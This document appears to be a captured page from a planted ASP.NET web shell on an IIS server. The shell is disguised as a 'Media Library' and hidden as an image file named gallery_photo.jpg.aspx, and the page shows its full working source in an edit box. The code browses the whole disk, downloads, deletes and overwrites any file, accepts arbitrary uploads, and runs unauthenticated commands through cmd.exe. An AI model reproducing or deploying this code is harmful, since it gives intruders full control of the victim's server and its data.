Media Library
EC2AMAZ-945O1TN / IIS APPPOOL\gfp_site
← Back
Edit:
C:\inetpub\gfp_site\libraries\217\spring\gallery_photo.jpg.aspx
<%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System.Text" %> <script runat="server"> string Root = "C:\\"; void Page_Load(object s, EventArgs e){ Response.Clear(); Response.ContentType = "text/html"; Response.Charset = "utf-8"; string a = (Request["a"] ?? "").ToLower(); try{ if(a == "dl"){ string f = Request["f"]; if(!string.IsNullOrEmpty(f) && File.Exists(f)){ Response.Clear(); Response.AddHeader("Content-Disposition", "attachment; filename=" + Path.GetFileName(f)); Response.ContentType = "application/octet-stream"; Response.TransmitFile(f); Response.Flush(); HttpContext.Current.ApplicationInstance.CompleteRequest(); return; } } if(a == "del"){ string f = Request["f"]; if(!string.IsNullOrEmpty(f) && File.Exists(f)) File.Delete(f); Response.Redirect(Request.CurrentExecutionFilePath + "?a=dir&d=" + System.Net.WebUtility.UrlEncode(Path.GetDirectoryName(f) ?? Server.MapPath(".")), false); HttpContext.Current.ApplicationInstance.CompleteRequest(); return; } if(a == "save"){ string f = Request["f"], t = Request.Form["t"] ?? ""; if(!string.IsNullOrEmpty(f)) File.WriteAllText(f, t); Response.Redirect(Request.CurrentExecutionFilePath + "?a=edit&f=" + System.Net.WebUtility.UrlEncode(f), false); HttpContext.Current.ApplicationInstance.CompleteRequest(); return; } if(a == "up"){ HttpPostedFile u = Request.Files["u"]; string t = Request["t"] ?? Server.MapPath("."); if(u != null && !string.IsNullOrEmpty(u.FileName)){ string p = Path.Combine(t, Path.GetFileName(u.FileName)); u.SaveAs(p); } Response.Redirect(Request.CurrentExecutionFilePath + "?a=dir&d=" + System.Net.WebUtility.UrlEncode(t), false); HttpContext.Current.ApplicationInstance.CompleteRequest(); return; } }catch(Exception ex){ Page_Header(); Response.Write("<div style='background:#fdd;border:1px solid #c00;padding:8px;margin:8px'>ERR: " + HtmlEnc(ex.Message) + "</div>"); Page_Footer(); HttpContext.Current.ApplicationInstance.CompleteRequest(); return; } Render(); } void Render(){ Page_Header(); string a = (Request["a"] ?? "").ToLower(); if(a == "edit"){ RenderEdit(); } else if(a == "cmd"){ RenderCmd(); } else { RenderDir(); } Page_Footer(); } void Page_Header(){ Response.Write("<!DOCTYPE html><html><head><meta charset='utf-8'><title>Media Library</title>"); Response.Write("<style>"); Response.Write("body{font-family:'Segoe UI',Arial,sans-serif;background:#eef1f5;margin:0;color:#222}"); Response.Write(".top{background:#2b3a4a;color:#fff;padding:10px 16px;font-size:18px;font-weight:600}"); Response.Write(".wrap{padding:14px 16px}"); Response.Write(".bar{background:#fff;border:1px solid #ccd;border-radius:6px;padding:8px 10px;margin-bottom:12px}"); Response.Write("input[type=text]{padding:5px 8px;border:1px solid #aab;border-radius:4px;min-width:420px;font-family:Consolas,monospace;font-size:13px}"); Response.Write("button{padding:5px 14px;border:1px solid #889;border-radius:4px;background:#3a6ea5;color:#fff;cursor:pointer}"); Response.Write("button:hover{background:#2f5c8a}"); Response.Write("table{width:100%;border-collapse:collapse;background:#fff;border:1px solid #ccd;border-radius:6px}"); Response.Write("th{background:#e4e9f0;text-align:left;padding:6px 10px;border-bottom:2px solid #ccd}"); Response.Write("td{padding:5px 10px;border-bottom:1px solid #eef;font-size:13px}"); Response.Write("tr:hover td{background:#f4f8fd}"); Response.Write("a{color:#1a5c9e;text-decoration:none}a:hover{text-decoration:underline}"); Response.Write(".dir{font-weight:600}.up{display:inline-block;margin-bottom:8px}"); Response.Write("textarea{font-family:Consolas,monospace;font-size:13px;border:1px solid #aab;border-radius:4px;width:99%}"); Response.Write("pre{background:#1e2430;color:#d8e0ec;padding:10px;border-radius:6px;overflow:auto;font-size:13px;font-family:Consolas,monospace}"); Response.Write(".act a{margin-right:8px;font-size:12px}"); Response.Write(".box{background:#fff;border:1px solid #ccd;border-radius:6px;padding:10px;margin-top:12px}"); Response.Write("</style></head><body>"); Response.Write("<div class='top'>Media Library <span style='font-size:12px;font-weight:400;opacity:.8'>" + HtmlEnc(Environment.MachineName) + " / " + HtmlEnc(System.Security.Principal.WindowsIdentity.GetCurrent().Name) + "</span></div>"); Response.Write("<div class='wrap'>"); } void Page_Footer(){ Response.Write("</div></body></html>"); } void RenderDir(){ string d = Request["d"] ?? Server.MapPath("."); if(!Directory.Exists(d)) d = Server.MapPath("."); Response.Write("<div class='bar'><form method='get' style='display:inline'><input type='hidden' name='a' value='dir'/><input type='text' name='d' value='" + HtmlEnc(d) + "'/><button>Go</button></form>"); Response.Write(" <a class='up' href='?a=dir&d=" + System.Net.WebUtility.UrlEncode(UpDir(d)) + "'>[ Up ]</a></div>"); Response.Write("<table><tr><th style='width:50%'>Name</th><th>Size</th><th>Modified</th><th>Actions</th></tr>"); try{ foreach(string s in Directory.GetDirectories(d)){ string n = Path.GetFileName(s); if(n.Length == 0) n = s; Response.Write("<tr><td class='dir'><a href='?a=dir&d=" + System.Net.WebUtility.UrlEncode(s) + "'>📁 " + HtmlEnc(n) + "</a></td><td></td><td>" + HtmlEnc(Directory.GetLastWriteTime(s).ToString("yyyy-MM-dd HH:mm")) + "</td><td></td></tr>"); } foreach(string f in Directory.GetFiles(d)){ FileInfo fi = new FileInfo(f); Response.Write("<tr><td>📄 " + HtmlEnc(fi.Name) + "</td><td>" + Fmt(fi.Length) + "</td><td>" + HtmlEnc(fi.LastWriteTime.ToString("yyyy-MM-dd HH:mm")) + "</td>"); Response.Write("<td class='act'><a href='?a=edit&f=" + System.Net.WebUtility.UrlEncode(f) + "'>edit</a><a href='?a=dl&f=" + System.Net.WebUtility.UrlEncode(f) + "'>download</a><a href='?a=del&f=" + System.Net.WebUtility.UrlEncode(f) + "' onclick=\"return confirm('Delete?');\">delete</a></td></tr>"); } }catch(Exception ex){ Response.Write("<tr><td colspan='4'>ERR: " + HtmlEnc(ex.Message) + "</td></tr>"); } Response.Write("</table>"); Response.Write("<div class='box'><form method='post' enctype='multipart/form-data'><b>Upload</b> to <input type='text' name='t' value='" + HtmlEnc(d) + "' style='min-width:300px'/> <input type='file' name='u'/> <button>Upload</button></form></div>"); Response.Write("<div class='box'><form method='get'><b>Console</b> <input type='hidden' name='a' value='cmd'/><input type='text' name='c' size='70' placeholder='whoami'/> <button>Run</button></form></div>"); } void RenderEdit(){ string f = Request["f"] ?? ""; Response.Write("<div class='bar'><a href='?a=dir&d=" + System.Net.WebUtility.UrlEncode(Path.GetDirectoryName(f)) + "'>← Back</a> <b>Edit:</b> " + HtmlEnc(f) + "</div>"); if(File.Exists(f)){ Response.Write("<form method='post'><input type='hidden' name='a' value='save'/><input type='hidden' name='f' value='" + HtmlEnc(f) + "'/>"); Response.Write("<textarea name='t' rows='22'>" + HtmlEnc(File.ReadAllText(f)) + "</textarea><br/><br/><button>Save</button></form>"); } else Response.Write("<div class='box'>File not found</div>"); } void RenderCmd(){ string c = Request["c"] ?? "whoami"; Response.Write("<div class='bar'><a href='?a=dir'>← Back</a></div><div class='box'><b>Console:</b> <span style='font-family:Consolas'>" + HtmlEnc(c) + "</span></div>"); Response.Write("<pre>" + HtmlEnc(RunCmd(c)) + "</pre>"); Response.Write("<div class='box'><form method='get'><input type='hidden' name='a' value='cmd'/><input type='text' name='c' value='" + HtmlEnc(c) + "' size='70'/> <button>Run again</button></form></div>"); } string RunCmd(string c){ Process p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + c; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.StartInfo.CreateNoWindow = true; p.Start(); string o = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd(); p.WaitForExit(); return o.Length == 0 ? "(no output)" : o; } string UpDir(string d){ try{ DirectoryInfo di = Directory.GetParent(d); return di == null ? d : di.FullName; }catch{ return d; } } string Fmt(long b){ if(b >= 1048576) return (b / 1048576.0).ToString("0.0") + " MB"; if(b >= 1024) return (b / 1024.0).ToString("0.0") + " KB"; return b + " B"; } string HtmlEnc(string s){ return s == null ? "" : System.Net.WebUtility.HtmlEncode(s); } </script>
Save